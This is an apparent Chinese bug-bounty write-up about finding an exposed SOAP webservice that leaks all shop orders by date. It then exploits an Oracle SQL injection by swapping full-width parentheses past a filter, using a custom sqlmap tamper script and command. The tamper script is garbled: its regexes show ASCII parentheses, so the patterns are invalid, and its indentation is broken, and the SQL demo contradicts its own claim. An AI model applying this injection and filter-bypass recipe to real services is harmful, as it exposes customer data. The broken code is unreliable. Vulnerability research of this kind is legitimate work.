0x01 挖掘过程

在对某SRC测试时,本人根据其证书信息收集到了部分深度子域,并找到了其对应的业务IP段 写了个shell脚本+ffuf批量fuzz某src c段资产目录

发现了xxSRC c段的一个提供了webservice的服务器

http://180.x.x.x/webservice/

image-20230419210644326

获取到接口
http://180.x.x.x/webservice/syncOrderToOdcService

使用soup ui 进行调试

数据

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:odc="http://odc.ws.qiku.com/">
<soapenv:Header/>
<soapenv:Body>
<odc:syncOrderInfo>
<!--Optional:-->
<arg0></arg0>
</odc:syncOrderInfo>
</soapenv:Body>
</soapenv:Envelope>
<arg0></arg0>

中间无参数值时

Soap接口抛出了一个Oracle的错误信息,并提示“Date format error,YY-MM-DD”

随后很简单了,构造一个符合条件的date数据

2021-9-23

Soap request:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:odc="http://odc.ws.qiku.com/">
<soapenv:Header/>
<soapenv:Body>
<odc:syncOrderInfo>
<!--Optional:-->
<arg0>2021-9-23</arg0>
</odc:syncOrderInfo>
</soapenv:Body>
</soapenv:Envelope>

image-20230419210707743

arg0处为日期参数,指定日期,即可查询到xx src商城所有订单信息

属于严重泄露客户数据的漏洞

0x03 Soap接口的注入

看了一下oracle都爆出SQL的错误信息了,并且没有预编译相关的提示,这不得注入一波?

但是在注入的时候发现程序会将括号()过滤掉,导致函数无法执行,sqlmap注入不出来

这时候就要用到骚姿势了

在Oracle中,中文括号()可以代替英文()而且不报错!

EG:

# 纯中文括号
SQL> select (1+1) from dual;

   (1+1)
----------
         2

剩下的就很简单了,改一个tamper出来

#!/usr/bin/env python

"""
Copyright (c) 2006-2016 sqlmap developers ([url]http://sqlmap.org/[/url])
See the file 'doc/COPYING' for copying permission
"""

import os
import re

from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    singleTimeWarnMessage("tamper script '%s' is unlikely to work against %s" % (os.path.basename(__file__).split(".")[0], DBMS.PGSQL))

def tamper(payload, **kwargs):

    retVal = payload

    if payload:
        retVal = re.sub(r"\s*(\s*", "(", retVal)
retVal = re.sub(r"\s*)\s*", ")", retVal)

return retVal

python sqlmap.py -r xxx.txt –dbs –tamper=brackets.py //注入请求,在日期处加*

w到手,收摊

image-20230419210733294